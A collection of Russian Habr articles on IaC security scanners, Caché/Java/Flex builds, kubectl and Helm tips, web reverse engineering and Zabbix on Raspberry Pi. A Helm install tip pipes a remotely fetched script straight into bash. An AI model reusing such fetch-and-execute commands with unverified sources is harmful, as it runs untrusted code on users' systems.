| - TF Azure | Да | Да | Да | Да |
| - CloudFormation | Да | Нет | Нет | Нет |
| - Kubernetes | Да | Да | Нет | Нет |
| CLI (UNIX) | Да | Да | Да | Да |
| Интеграция с CI/CD: | | | | |
| - GitLab | [Да (ссылка)](https://www.checkov.io/4.Integrations/gitlab.html) | [Да (ссылка)](https://support.snyk.io/hc/en-us/articles/360004002238-GitLab-integration) | [Да (ссылка)](https://docs.accurics.com/projects/accurics-terrascan/en/latest/cicd/#gitlab-ci) | Нет(но есть JUnitXml) |
| - GitHub | [Да (ссылка)](https://www.checkov.io/4.Integrations/github-actions.html) | [Да (ссылка)](https://support.snyk.io/hc/en-us/articles/360004032117-GitHub-integration) | [Да (ссылка)](https://docs.accurics.com/projects/accurics-terrascan/en/latest/cicd/#github-actions) | [Да (ссылка)](https://github.com/tfsec/tfsec#github-security-alerts) |
| - BitBucket | [Да (ссылка)](https://www.checkov.io/4.Integrations/bitbucket-cloud.html) | [Да (ссылка)](https://support.snyk.io/hc/en-us/articles/360004032097-Bitbucket-Cloud-integration) | Нет | Нет(но есть JUnitXml) |
| Белые списки правил | Да (через CLI-параметры) | Нет | [Да (ссылка)](https://github.com/accurics/terrascan/blob/master/config/terrascan.toml) | Нет |
| Черные списки правил | Да (через CLI-параметры) | Нет | [Да (ссылка)](https://github.com/accurics/terrascan/blob/master/config/terrascan.toml) | [Да (через CLI-параметры)](https://github.com/tfsec/tfsec#disable-checks) |
| Черные списки определенных ошибок | Да (через комментарий) | Да (через отчет) | [Да (ссылка)](https://github.com/accurics/terrascan#terraform) | [Да (через комментарий)](https://github.com/tfsec/tfsec#ignoring-warnings) |
| Добавление своих правил | [Да (ссылка)](https://www.checkov.io/1.Introduction/Policies.html#writing-a-new-policy) | Нет | Нет | [Да (ссылка)](https://github.com/tfsec/tfsec/blob/master/example/custom/.tfsec/custom_tf_checks.json) |
| Автоисправление ошибок | Нет | Да | Нет | Нет |
| Форматы вывода: | | | | |
| - CLI | Да | Да | Да | Да |
| - JSON | Да | Да | Да | Да |
| - XML | (только через JUnitXML) | Нет | Да | (только через JUnitXML) |
| - JUnitXML | Да | Нет | Нет | Да |
| - Sarif | Нет | Да | Нет | Да |
| - HTML | Нет | [Да (ссылка)](https://github.com/snyk/snyk-to-html) | Нет | Нет |
| - github\_failed\_only | Да | Нет | Нет | Нет |
| - Checkstyle | Нет | Нет | Нет | Да |
| - CSV | Нет | Нет | Нет | Да |
| - YAML | Нет | Нет | Да | Нет |
| Документация | [Да (ссылка)](https://www.checkov.io/documentation.html) | [Да (ссылка)](https://support.snyk.io/hc/en-us/categories/360001342678-Infrastructure-as-code) | [Да(ссылка)](https://github.com/accurics/terrascan#terraform) | [Да (ссылка)](https://www.tfsec.dev/docs/home/) |
### Checkov
Checkov обеспечивает очень простое сканирование каталога репозитория с возможностью добавлениея ваших собственных проверок. Проверки написаны на python, поэтому (в отличие от tfsec) потребуются некоторые навыки программирования. Если у вас недостаточно таких навыков, то можно использовать интуитивно понятный конструктор политик в UI, предлагающий несколько бенчмарков и поддержку стандартов, таких как HIPAA, CIS, NIST. Результаты отображаются на дашборде.
Checkov поддерживает выполнение/игнорирование определенных тестов:
```
checkov -d . --check CKV_AWS_20,CK_AWS_52
checkov -d . --skip-check CK_AWS_52,CK_AWS_52
```
В веб-интерфейсе Checkov есть очень хорошее описание порядка действий для исправления ошибок через интерфейс командной строки. Для отображения ссылок на документацию по исправлению ошибок используется API Bridgecrew. Чтобы пропустить этот вызов API, вы можете использовать флаг
```
--no-guide.
```
В checkov есть как автоматическое, так и ручное исправление обнаруженных проблем. Интересной возможностью является история ошибок, с помощью которой можно понять, когда были внесены ошибки. Для любителей автоматизированных плейбуков есть автоматическое исправление с помощью стеков `CloudFormation`, хотя эту функциональность мы не тестировали. Автоисправление входит в платную версию.
### Terrascan
Аналогично другим тестируемым инструментам terrascan поддерживает около 500 политик. У него есть несколько интересных функций, таких как анализ Helm v3 и Kustomize v3. Очень многообещающе выглядит работа в качестве сервера API. Если вы поддерживаете DevSecOps-пайплайн, то этот инструмент для вас.
Terrascan также доступен как GitHub Action. Для подключения к GitLab или GitHub через ssh можно использовать файл known\_hosts. Terrascan клонирует код из репозитория в контейнер и анализирует его. Идея API-сервера и контейнера может быть объединена при использовании AWS EKS (или GKE) или ECS.
Terrascan очень плохо справляется с определением задач и описанием исправлений. Плохо работает с кодом GCP. В результатах отсутствуют ссылки на дополнительную справку или примеры лучших практик. Есть Notifier, предоставляющий веб-хуки для результатов.
### tfsec
tfsec дает неплохие рекомендации по исправлению проблем со ссылками на документацию AWS, GCP или Terraform. Как и в других инструментах из нашей выборки, в нем не учитывается серьезность проблемы. Очень хорошо помогают писать безопасный код приводимые примеры.
Стоит упомянуть функциональность PR-комментариев: добавление комментария к любой части кода, которая не проходит проверки tfsec. Важной дополнительной фичей является возможность создавать собственные проверки. Эти проверки описываются в JSON или YAML, поэтому вам не нужно писать дополнительный код Go.
Если вы используете докеризованный пайплайн, то можно запускать tfsec в докере, и не только tfsec. Благодаря поддержке образов контейнеров Lambda AWS, это становится очень интересным для нативного бессерверного сканирования DevSecOps.
### Snyk
Snyk — это фантастический инструмент, когда вам нужно больше, чем анализ Terraform. Snyk анализирует состав программного обеспечения, конфигурацию Kubernetes и т. д. Что касается Terraform, то производительность здесь очень хорошая, но описание проблем расплывчато и отсутствуют ссылки на документацию AWS / GCP / Terraform. В итоговом отчете есть ссылки на конкретную строку, ресурс и атрибут в Terraform, что просто замечательно для быстрого ревью кода.
Импорт репозитория очень прост: предоставление доступа для чтения к репозиторию осуществляется через определение областей действия ключей GitLab API. Проблема возникает при добавлении новых файлов Terraform, так как требуется повторный импорт репозитория / проекта. Функция мониторинга в агенте Snyk хороша для SCA, но плохо работает с кодом Terraform.
Если у вас приватный репозиторий, то можно использовать брокер Snyk. Прокси брокера очень полезен, если нужно использовать публичный API и приватный код. Клиент брокера публикуется в виде образов Docker и обеспечивает безопасное подключение к локальной JIRA.
Если вы не хотите делать публичные отчеты, но в то же время получать их в красивом виде, то можете использовать snyk-to-html. Эта утилита принимает результат в формате JSON и генерирует HTML-отчет.
Ниже приведен пример использования генератора HTML-отчетов для snyk:
```
snyk iac test --json | snyk-to-html -o results.html
```
### Сравнение качества анализа безопасности
Самое сложное — это корректно сравнить качество найденных проблем безопасности. Изначально для тестового набора данных мы пробовали использовать различные внутренние репозитории, но поскольку хотели, чтобы результаты были доступны сообществу и воспроизводимы, то решили использовать публичный репозиторий [terragoat](https://github.com/bridgecrewio/terragoat).
Terragoat — это репозиторий уязвимого кода terraform с ресурсами для AWS, GCP и Azure. Хотя использование наборов данных от одного из сравниваемых инструментов может показаться необъективным, но мы все же пошли этим путем и брали результаты checkov на тестах terragoat за базовый уровень, а другие показывали себя лучше, так же или хуже. Terragoat содержит наиболее часто используемые ресурсы IaC, такие как EC2, S3, IAM, RDS, EKS или их эквиваленты в GCP / Azure.
Мы написали очень простой скрипт, устанавливающий инструменты и запускающий их на коде AWS и GCP. Результаты мы сохранили в JSON, так как это был единственный общий формат вывода результатов (см. таблицу сравнения). Затем мы изменили форму результатов с помощью jq так, чтобы каждая найденная проблема содержала:
* название инструмента, который обнаружил проблему;
* место обнаружения (имя файла, ресурс, строка или диапазон строк, в которых найдена проблема);
* описание уязвимости (включая ID).
После этого мы объединили все результаты, отсортировали их по имени файла, ресурсу, инструменту и ID уязвимости. Затем началась утомительная ручная работа — сопоставление обнаруженных проблем между разными инструментами на основе местоположения и описания проблемы. Для сравнения мы выбрали очень простую метрику — количество уникальных найденных проблем:
Snyk исключительно хорошо справился с кодом AWS — обнаружил больше проблем, чем checkov. Среди проблем, которые обнаружил Snyk и не обнаружил checkov, были такие, как полностью открытый исходящий трафик, отсутствие описания групп безопасности AWS или балансировщик нагрузки, открытый в Интернет. Эти проблемы можно рассматривать скорее как предупреждения или напоминания о хорошей практике, чем реальные проблемы безопасности, но, честно говоря, во всех инструментах были подобные находки. Ни один из инструментов не смог обнаружить небезопасные протоколы или их незашифрованные версии.
Еще один интересный момент, на который следует обратить внимание: все четыре инструмента относительно одинаково работали с AWS, и было много проблем, обнаруженных тремя (7) или даже всеми четырьмя инструментами (6), в то время как для GCP было только четыре проблемы, обнаруженные тремя инструментами, и не было ни одной, которую обнаружили бы все четыре инструмента.
Еще один довольно странный момент заключается в том, что описания правил terrascan для GCP практически идентичны правилам, которые использует checkov. Совпадение?
#### Заключение
Все эти инструменты могут быть полезны в зависимости от конкретных требований. Также могут быть полезны и платные версии благодаря возможностям интеграции и отчетности. При поиске SAST-инструмента для IaC задайтесь вопросом: нужно ли также тестирование конфигурации kubernetes, open source-библиотек и образов docker? Подробнее об этом, возможно, будет в одном из наших будущих постов. Каков ваш выбор?
---
> Иногда возникают ситуации, когда наши программы пытаются установиться из старых источников или делают это «бесконечно» долго, больше, чем разработчики хотят ждать. Для решения этой проблемы и других был придуман подход Immutable infrastructure, о котором мы и поговорим на двухдневном онлайн-интенсиве [**«Делаем immutable infrastructure с помощью Packer и Terraform»**](https://otus.pw/xHP3/). Обсудив проблему и подход, на демо мы соберем с помощью Packer образ для нашего облака и запустим наше приложение.
>
> Перевод материала подготовлен в рамках курса [**«DevOps практики и инструменты».**](https://otus.pw/PElh/)
>
> | https://habr.com/ru/post/558398/ | null | ru | null |
# Caché + Java + Flex. Часть 2
В [первой части](http://habrahabr.ru/company/intersystems/blog/149704/) статьи мы рассмотрели комбинацию Caché + Java. Здесь будет показана структура проекта непосредственно реализующего комбинацию Caché + Java + Flex, а также основные инструменты и их настройки, используемые для её реализации. Стоит отметить, что здесь будет приведен лишь общий вид взаимодействия, в то время как, конкретные примеры будут рассмотрены в заключительной части. Начнем с описания модулей, входящих в состав проекта, и постепенно перейдем к особенностям их взаимодействия.
#### Структура проекта
Проект состоит из трёх основных модулей:
1. **flex** – здесь располагаются mxml-классы, описывающие структуру web-интерфейса, дополнительные библиотеки на ActionScript, а также сгенерированные ActionScript-проекции java-классов;
2. **biz-logic** – включает java -c и -m классы (подробнее о данных классах было рассказано в первой части статьи), класс контроллер, а так же классы-интерфейсы, отвечающие за логику приложения;
3. **web-application** – генерируемый модуль, хранящий сформированные jar-файлы из модуля biz-logic и swf из модуля flex. Кроме этого, данный модуль отвечает за генерацию WAR (Web application ARchive), который позже размещается на web-сервере.
Далее стоит сказать несколько слов о применяемых инструментах. В качестве web-сервера был использован Apache Tomcat версии 6.0.35. Как было отмечено в первой части, в качестве основного инструмента для связи Java и ActionScript используется фреймворк [Granite DS](http://www.graniteds.org/), представляющий комплексное решение для разработки и интеграции flex + javaEE RIA приложений. Его необходимо подключать как в настройках для flex, так и biz-logic модулей (как это сделать, будет рассказано дальше). Для автоматизации сборки проекта выбран Maven – универсальный инструмент для сборки Java проектов (компиляции, создания jar, создания дистрибутива программы, генерации документации). Maven, по умолчанию, создает по отдельному POM (Project Object Model) файлу для каждого из модулей, а также один общий для всего проекта. POM файлы используются для настройки конфигурации, а также для подключения библиотек из репозиториев (подробнее о работе с Maven можно прочитать [здесь](http://www.apache-maven.ru/index.html), а также работа с Maven подробно рассматривалась на [Хабре](http://habrahabr.ru/post/77382/)). Приведем примеры некоторых настроек, использованных нами.
#### Содержание POM-файлов
Рассмотрим подробнее особенности POM-файлов для каждого из модулей проекта. В POM-файл модуля **flex** прописываются настройки Granite DS и пути к java-классам, проекции которых необходимо создать. Кроме этого здесь же привязываются используемые библиотеки. К примеру, **данный код служит для указания файлов для проецирования, а так же содержит ряд настроек для GraniteDS.**
```
generate
graniteds21
${project.build.directory}/generated- sources
${project.build.directory}/../src/main/flex
true
uid
org.granite.generator.as3.BVEntityFactory
false
edu.samples.sample.domain.\*\*
edu.samples.sample.services.I\*Service
```
Следующий код так же располагается в POM-файле модуля flex и демонстрирует подключение библиотек Granite из репозитория:
```
org.graniteds
granite-core
${graniteds.version}
```
В POM-файле для модуля **biz-logic** указываются параметры для генерации jar-файлов.
Кроме этого, необходимо подключить библиотеки cachedb и cachejdbc для работы с Caché (данные библиотеки в виде jar-файлов предоставляются вместе с продуктами Ensemble и Caché. По умолчанию располагаются в “…\dev\java\lib\JDK16\”).
**В нашем случае файлы библиотек указаны локально:**
```
cache.cachedb
cachedb
jar
${cachedb.version}
system
C:/soft/javalibs/cachedb.jar
cache.cachejdbc
cachejdbc
${cachejdbc.version}
jar
system
C:/soft/javalibs/cachejdbc.jar
```
В POM-файле для модуля **web-application** прописываются привязка сгенерированных ранее в модуле biz-logic jar-файлов и опции для генерации WAR-файла такие как: output-директория для сгенерированного файла, подключение библиотек war-компилятора (maven-compiler-plugin, maven-war-plugin, maven-dependency-plugin). Так же должны быть прописаны опции для генерации swf-файла.
**Настройка модуля web-application**
```
org.sonatype.flexmojos
flexmojos-maven-plugin
${flexmojos.version}
true
copy-flex-resources
edu.sample
flex
swf
true
sample.swf
```
Порядок сборки проекта следующий: компилируются java-классы из модуля biz-logic, затем на их основе с помощью GraniteDS генерируются ActionScript-проекции, которые помещаются в модуль flex. После этого компилируется модуль flex и с помощью плагина org.sonatype.flexmojos (предоставляется Flex) генерируется .swf файл. Он вместе с используемыми библиотеками помещается на сервер по прописанному в конфигурационном файле пути. На основе сгенерированных .swf и .jar файлов, а также используемых библиотек формируется .war файл.
**Настройка .war файла**
```
sample
C:\Program Files\Apache Software Foundation\Tomcat
6.0
true
sample
src/test/java
org.apache.maven.plugins
maven-compiler-plugin
1.6
1.6
org.apache.maven.plugins
maven-war-plugin
${war.name}
org.apache.maven.plugins
maven-dependency-plugin
2.1
copy
install
copy
edu.sample
web-application
1.0
war
true
${war.name}.war
${catalina.home}\webapps\
```
После того, как все настройки выполнены, можно приступать к непосредственному рассмотрению механизма взаимодействия Flex + Java + Caché.
#### Общий вид механизма взаимодействия Flex + Java + Caché
Начнём с того, что всё взаимодействие Flex + Java проходит через ActionScript-проекции, среди которых, кроме проекций хранимых классов (Java-m классы), есть и классы-проекции интерфейсов сервера, отвечающие за логику приложения. В момент запуска web-приложения в браузере (на стороне клиента) при инициализации создается объект, реализующий интерфейс сервисов сервера (в нашем случае это объект userService). Через него и будет в дальнейшем происходить связка flex + java. Для выполнения какой-либо операции над хранимыми объектами вызывается соответствующий метод в userService. В случае удачного прохождения определенных условий на сервере изменения также будут выполнены в БД Caché.
Кроме того, для реализации описанной связки через Granite DS необходимо, чтобы выполнялись следующие условия.
1. Класс должен реализовывать интерфейс Serializable.
2. В проецируемых классах должен использоваться специальный синтаксис Granite DS. Например, для методов get() и set() проецируемых свойств нужно использовать теги @ExternalizedProperty, а для самого проецируемого класса – @ExternalizedBean, как показано в примере ниже.
```
@ExternalizedBean(type=DefaultExternalizer.class)
public class mCicl implements Serializable {
…
@ExternalizedProperty
public List getListOfDisc() {
return listOfDisc;
}
public void setListOfDisc(List listOfDisc) {
this.listOfDisc = listOfDisc;
}
…
}
```
*Не стоит также забывать о java-нотации. Так, к примеру, при именовании свойства с заглавной буквы в проекции, данное свойство будет иметь модификатор доступа private без get и set методов.*
Как уже говорилось выше, в модуле flex используется интерфейс (@RemoteDestination) сервисов (@Serviсe) сервера, поэтому в модуле biz-logic должна быть соответствующая реализация данного интерфейса. Например, для проецируемого класса-интерфейса
```
@RemoteDestination
public interface IUserService {
…
void delOneDisc(Integer i);
…
}
```
должна быть прописана реализация
```
@Service
public class UserService implements IUserService {
…
@Override
public void delOneDisc(Integer i) {
objT.deleteOneDisc(i);
}
…
}
```
Подводя итоги данной части, можно сказать, что здесь мы описали лишь общий механизм взаимодействия Cache + Java + Flex через интерфейсы и проекции, а также необходимые для них настройки, не заостряя внимания на конкретных примерах. Поэтому [в следующей части статьи](http://habrahabr.ru/company/intersystems/blog/150454/) мы уделим больше внимания конкретным практическим примерам. В частности рассмотрим преобразования коллекций на протяжении всей связки, а также примеры передачи объектов от БД до браузера и обратно. | https://habr.com/ru/post/150031/ | null | ru | null |
# Kubernetes tips and tricks: как повысить продуктивность
Kubectl — это эффективный инструмент командной строки Kubernetes и для Kubernetes, пользуемся мы им ежедневно. У него много функций, и с ним можно развертывать систему Kubernetes или его базовые фичи.
Вот вам полезные советы, как быстрее кодить и деплоить в Kubernetes.
### Автозаполнение kubectl
Kubectl вы будете использовать постоянно, так что с автозаполнением не придется лишний раз стучать по клавишам.
Сначала установите пакет bash-completion (по умолчанию он не установлен).
* Linux
```
## Install
apt-get install bash-completion
## Bash
echo 'source <(kubectl completion bash)' >>~/.bashrc
## Zsh
source <(kubectl completion zsh)
```
* MacOS
```
## Install
brew install bash-completion@2
```
Как видно в выходных данных brew install (раздел Caveats), нужно добавить следующие строки в файл `~/.bashrc или ~/.bash_profile`:
```
export BASH_COMPLETION_COMPAT_DIR=/usr/local/etc/bash_completion.d
[[ -r /usr/local/etc/profile.d/bash_completion.sh ]] && . /usr/local/etc/profile.d/bash_completion.sh
```
### Алиасы kubectl
Когда начинаешь использовать kubectl, самое приятное — это уйма алиасов, начиная вот с этого:
```
alias k='kubectl'
```
Добавили его — беритесь потом за kubectl-aliases на Github. Ахмет Алп Балкан (Ahmet Alp Balkan) (<https://twitter.com/ahmetb>) понимает в них толк, узнайте больше о его алиасах на github
Только не устанавливайте алиас kubectl для новичка, иначе он в жизни не разберется со всеми командами. Пусть сначала попрактикуется недельку-другую.
### Kubernetes + Helm-чарты
«[Helm](https://helm.sh/) — это лучший способ находить, распространять и использовать ПО, созданное для Kubernetes».
Когда у вас заводится куча приложений Kubernetes, их развертывание и обновление превращается в муку, особенно если нужно обновить тег docker-образа до развертывания. Helm-чарты создают пакеты, с которыми можно определять, устанавливать и обновлять приложения и конфигурацию, когда они запускаются на кластере системой релизов.
Пакет Kubernetes в Helm называется чартом и содержит много информации, по которой создается экземпляр Kubernetes.
Конфигурация очень полезна: она содержит динамические сведения о настройке чарта. Релиз — это существующий экземпляр в кластере в сочетании с определенной конфигурацией.
В отличие от apt или yum, Helm-чарты (то есть пакеты) собираются поверх Kubernetes и используют все преимущества его кластерной архитектуры, и самое классное из них — возможность учитывать масштабируемость с самого начала. Чарты всех образов, которые использует Helm, хранятся в реестре под названием Helm Workspace. После развертывания ваши команды DevOps смогут в два счета находить чарты и добавлять их в свои проекты.
Helm можно установить другими способами:
* Snap / Linux :
```
sudo snap install helm --classic
```
* Homebrew / macOS :
```
brew install kubernetes-helm
```
* Скрипт:
```
curl -L https://git.io/get_helm.sh | bash
```
* Файл:
<https://github.com/helm/helm/releases>
* Инициализировать Helm и установить Tiller в кластере:
```
helm init --history-max 200
```
* Установить пример чарта:
```
helm repo update
helm install --name releasemysql stable/mysql
```
Эти команды релизят чарт stable/mysql, а релиз называется releasemysql.
Проверьте релиз helm с помощью helm list.
* Наконец, релиз можно удалить:
```
helm delete --purge releasemysql
```
Следуйте этим советам, и работа с Kubernetes пойдет живее. Освободившееся время посвятите главной цели своих приложений Kubernetes в кластере. Если есть вопросы о Kubernetes или Helm, [напишите нам](https://www.padok.fr/contact). | https://habr.com/ru/post/463299/ | null | ru | null |
# Static Reverse engineering для web
Львиная доля всех статей, которые посвящены вопросу обратной разработки посвящены темам анализа низкоуровневого представления приложений и работы прошивок устройств. Только ли в этих областях можно применять подходы, которые использует обратная разработка? Попробуем разобраться на примере веб-приложения. Причем для разбора приложения мы даже не будем его запускать.
### Как работает Reverse engineering
Определение для этой области знаний можно найти на [Wiki](https://en.wikipedia.org/wiki/Reverse_engineering). Мы будем говорить о варианте, который относится к программному обеспечению.
Специалист, который может произвести обратную разработку программного обеспечения должен понимать основные аспекты того как приложение работает на любом уровне представления, какой `жизненный` цикл проходит приложение от момента запуска до момента завершения алгоритма.
Где этому научиться? Профильные курсы и большое количество дополнительного материала, который вряд ли когда либо понабился бы при обычной разработке программного обеспечения.
Списки ресурсов можно найти достаточно просто, для примера можно изучить вот [этот](https://github.com/tylerha97/awesome-reversing).
Обратная разработка это та дисциплина, которую в отличии от языка программирования достаточно сложно изучить до конца. Однако, все же можно сделать шаблон, который поможет изучать материал постепенно и не тратить время зря.
Для успешного разбора нужно обладать начальными данными:
1. На каком языке программирования написано приложение.
2. После идентификации языка программирования желательно бегло ознакомиться с его синтаксисом.
3. Какие форматы файлов использует приложение.
4. Какая исполняемая среда используется для приложения.
5. Где располагается документация для пункта 1, 3 и 4.
6. Знание принципов работы сетевого взаимодействия среды исполнения приложения.
Следующий пункт может быть опциональным:
7. Специализированные приложения для работы с языком программирования:
* отладчики;
* анализаторы формата файлов;
* профилировщики среды исполнения;
* анализаторы сетевого взаимодействия.
Почему 7-й пункт опционален? Потому что некоторые среды исполнения могут не предоставлять все инструменты для изучения приложения и придется либо самостоятельно создавать инструмент для анализа, либо изучать приложение частично, опуская, возможно огромные куски алгоритма.
### Какое приложение будем исследовать
Перед началом, давайте определимся что конкретно нам нужно понять. Список вопросов будет достаточно обширный так как предполагается, что исследователь вообще не работал с веб-приложениями. И так, наше исследование будет использовать инструменты и подходы из предыдущего пункта, а изучать будем следующие элементы:
* Из чего состоит веб-приложение?
* Какие наименования обработчиков есть в приложении?
* Где находится код, который обрабатывает запросы?
В качестве примера попробуем разобраться с вот этим [проектом](https://github.com/BlogEngine/BlogEngine.NET/tree/v3.3.7.0). И сразу приступим к исследованию.
### На каком языке программирования написано приложение?
При изучении программного кода, который был уже скомпилирован ответ на этот вопрос достаточно прост. Там скорее всего будет только 1 язык. В случае с веб-приложениями это может быть несколько сложнее.
Начнем с простого. Так как проект располагается на github, то по тегам можно определить какой язык программирования. Найти эти данные можно справа от описания репозитория. Для нашего проекта эти метки выглядят вот так:
Похоже, что тут придется иметь дело не с одним языком. Почему так? На просторах сети нашлась достаточно интересная картинка, которая должна внести немного ясности:
На картинке изображена схема того как веб-приложение может быть имплементировано. Существует несколько частей:
* Backend - часть, которая работает на сервере.
* Frontend - часть, которая должна работать в пользовательском приложении, чаще всего в браузере.
Для каждого из этих двух элементов существуют свои языки программирования. И так как в веб-приложениях все языки делятся по признаку выполняемых задач и окружения где запускается алгоритм. Поэтому их может быть несколько.
И так разбиение в случае нашего проекта такое:
* FrontEnd:
+ SCSS
+ HTML
+ JavaScript
+ CSS
* Backend:
+ C#
+ XML
Почему именно так? 2-3 минуты поиска в сети аббревиатур каждого языка и чтение wiki. Поиск данных по языкам программирования завершен. Перейдем в следующему этапу.
### Синтаксис языков программирования
Для того чтобы понимать что написано на языке программирования нужно понимать базовый шаблон на котором основан язык программирования и парадигму, которую он использует.
Львиная доля современных языков программирования используют смесь парадигм функционального, объектно-ориентированного и императивного программирования. Каждая из этих парадигм определяет какие базовые конструкции могут быть в языке. Базово, чтобы понимать те языки, которые нам будут встречаться в нашем проекте, нам нужно знать как описываются элементарные конструкции:
1. Переменная.
2. Логическое выражение.
3. Арифметическое выражение.
4. Условные операторы.
5. Циклы.
6. Функции.
7. Классы.
По всем пунктам, ищем в поисковых машинах наиболее популярные ресурсы, которые встречаются в выдаче. Беглый взгляд уже должен дать представление что из себя представляет каждый язык в отдельности.
### Какие форматы файлов использует приложение
Ответ на этот вопрос можно собрать из тех же ресурсов, которые были найдены для изучения языка программирования. Если обобщить, то получается так:
* Языки `Frontend` интерпретируемые, поэтому данные будут храниться в текстовом виде, с некоторыми исключениями (ресурсы и использование WebAssembly)
* языки `Backend` могут быть компилируемыми и интерпретируемыми. В первом случае будут приложения в нативном представлении для выбранной в качестве среды выполнения операционной системы, во втором случае это будут текстовые файлы или промежуточный код, который будет обрабатываться своей виртуальной машиной
Для анализа языков, которые будут храниться в текстовом виде хорошо подходит IDE, которая позволяет работать с языками из проекта. Так как у нас в проект включен язык программирования C#, то выбор среды изучения исходного кода предопределен - Visual Studio и пакет SDK для платформы .Net.
В случае, если бы мы получили уже собранный проект, то для разбора файлов скомпилированных из C#, мы бы изучали их череp [dnspy](https://github.com/dnSpy/dnSpy) или аналогичный проект.
### Алгоритм приложения
На данный момент понятно из чего состоит приложение, теперь самое время попытаться идентифицировать точки, которые помогут понять где скрывается основной код приложения, который был написан программистом. Почему вопрос стоит именно так?
Приложения сегодня это большое количество сопутствующих библиотек и шаблонов, которые ускоряют разработку. То есть программистам не нужно все создавать с нуля, достаточно воспользоваться шаблоном проекта и писать уже только функциональную часть приложения.
В веб-приложениях это определение так же остается актуальным. Поэтому для упрощения поиска именно алгоритма приложения обратимся к вот такой [документации](https://docs.microsoft.com/en-us/previous-versions/ms178473(v=vs.140)?redirectedfrom=MSDN). Документация содержит в себе так называемый `Life Cycle` приложения, то есть определяет границы существования приложения и границы работы рантайма. С помощью таких описаний можно найти инструкцию к любому языку программирования и набору библиотек, который используется для создаваемого приложения. В нашем случае это [ASP.NET](http://ASP.NET). Если подытожить, то вот эта картинка из документации дает нам все необходимые знания:
В итоге:
1. Запрос от пользователя приходит в веб сервер.
2. Запрос обрабатывается ISAPI [ASP.NET](http://ASP.NET).
3. Запрос заполняется в объект HTTPContext.
4. Запрос обрабатывается алгоритмом, который написал программист и может генерировать ответы в зависимости от решений.
Тоесть в IDE уже можно собрать классы и методы, которые используют HTTPContext и начинать подробное исследование алгоритма.
Вот так выглядит часть проекта открытого в IDE:
Из документации можно так же вынести, что весь код, который был написан, будет выноситься в обработчики, которые должны быть зарегистрированы о одном общем файле. В нашем проекте это файл Web.config. Кусок файла представлен ниже:
На картинке выше можно найти названия тех скриптов, которые могут быть доступны пользователю и так же прописаны какие файлы содержат алгоритмы написанные программистом. Например фрагмент обработчика запросов с `file.axd`:
### Выводы
В статье мы рассмотрели основные подходы, которые можно применять для изучения любого программного обеспечения вне зависимости на каком языке оно написано и для каких задач создавалось.
Статью подготовил мой коллега, преподаватель OTUS - Александр Колесников. В преддверии старта курса Reverse Engineering хочу пригласить всех желающих на бесплатный интенсив в рамках которого мы разберём работу mbr руткита, Проанализируем его ключевые этапы и стадии развёртывания. Регистрация [доступна по ссылке](https://otus.pw/84cb/). | https://habr.com/ru/post/658453/ | null | ru | null |
# Мониторинг Raspberry Pi с помощью Zabbix
Благодаря доступности, небольшим размерам и энергопотреблению, а также возможности подключения различных периферийных устройств микрокомпьютер Raspberry Pi широко используется как для творчества, так и для серьезных применений.
К сожалению, с Raspberry Pi, как и с любым другим подобным устройством, могут возникать различные проблемы, от снижения производительности из-за перегрева до полного выхода из строя. В учебных или развлекательных проектах это не приведет к ощутимым последствиям. Но если Raspberry Pi установлен в системах, требующих надежной работы, необходим контроль работоспособности микрокомпьютера.
Для каких применений будет желателен мониторинг работоспособности Raspberry Pi?
Например, если на базе Raspberry Pi создан Web-сервер, который должен быть доступен круглосуточно, роутер, система видеонаблюдения, система умного дома, система контроля какого-либо оборудования или параметров, полученных от внешних устройств. Одно из подобных применений в сервисе SAAS интернет-магазинов — недорогой сервер управления онлайн-кассами, расположенный в офисах продаж.
В этой статье мы расскажем, как с помощью Zabbix можно организовать мониторинг работоспособности и производительности узла Raspberry Pi, контроль его напряжения питания и температуры. Также мы опишем простейшую систему обнаружения протечек воды, созданную с применением датчика MH-RD с контроллером YL-38, подключенного к шине GPIO Raspberry Pi, и сервера Zabbix.
Установка Zabbix Agent2 в ОС Raspberry Pi OS
--------------------------------------------
Прежде всего, установите в Raspberry Pi OS (прежнее название Raspbian) вашего микрокомпьютера агент Zabbix Agent2. Для этого откройте страницу <https://www.zabbix.com/download>. Выберите на этой странице параметры установки — версию Zabbix как **6.2**, операционную систему **Raspberry Pi OS**, вашу версию OS, например **10 (Buster),** и компонент Zabbix **Agent2** (рис. 1).
Рис. 1. Выбор параметров установки Zabbix Agent2Узнать версию Raspberry Pi OS можно с помощью такой команды:
```
$ cat /etc/debian_version
10.13
```
В данном случае установлена Raspberry Pi OS версии 10.13, поэтому в параметрах установки агента нужно выбрать **10 (Buster)**.
После выбора параметров установки на странице <https://www.zabbix.com/download> появится инструкция.
Прежде чем начинать установку, обновите пакеты:
```
# apt update
# apt upgrade
```
#### Установка репозитория и сервиса zabbix-agent2
Далее установите нужный репозиторий Zabbix и выполните установку агента и программы zabbix-sender:
```
# wget https://repo.zabbix.com/zabbix/6.2/raspbian/pool/main/z/zabbix-release/zabbix-release_6.2-2%2Bdebian10_all.deb
# dpkg -i zabbix-release_6.2-2+debian10_all.deb
# apt update
# apt install zabbix-agent2 zabbix-sender
```
После установки перезапустите агент и проверьте его состояние:
```
# systemctl restart zabbix-agent2
# systemctl status zabbix-agent2
```
#### Настройка конфигурации агента zabbix-agent2
Для настройки конфигурации агента zabbix-agent2 отредактируйте файл /etc/zabbix/zabbix\_agent2.conf.
Когда мы настраиваем конфигурацию агента, работающего на обычном физическом или виртуальном сервере, расположенном в дата-центре, то в параметре **Server** указываем адрес IP сервера Zabbix, а в параметре **Hostname** — его имя, под которым он будет добавлен в список хостов сервера Zabbix.
При этом предполагается, что агент Zabbix будет работать в так называемом пассивном режиме, когда сервер Zabbix отправляет запросы на получение метрик на контролируемый сервер по его IP адресу.
В случае Raspberry Pi часто оказывается так, что микрокомпьютер находится за роутером и получает «серый» адрес из локальной сети. При этом без настройки проброса порта на роутере не получится получить доступ к микрокомпьютеру извне по его адресу IP.
Однако можно поступить и по-другому. Достаточно перевести агент Zabbix, работающий на Raspberry Pi, в **активный** режим.
Для этого адрес сервера Zabbix нужно прописать в параметре **ServerActive** файла конфигурации /etc/zabbix/ zabbix\_agent2.conf.
Активный режим предполагает, что агент Zabbix сам отправляет данные серверу Zabbix, пользуясь шаблонами, подключенными к хосту. В метриках шаблонов при этом нужно выбрать активный агент **Zabbix agent (active)**.
#### Установка сервера Zabbix в Raspberry Pi OS версии 11
Начиная с версии 11 Raspberry Pi OS появилась возможность установки на Raspberry Pi полноценного сервера Zabbix (рис. 2).
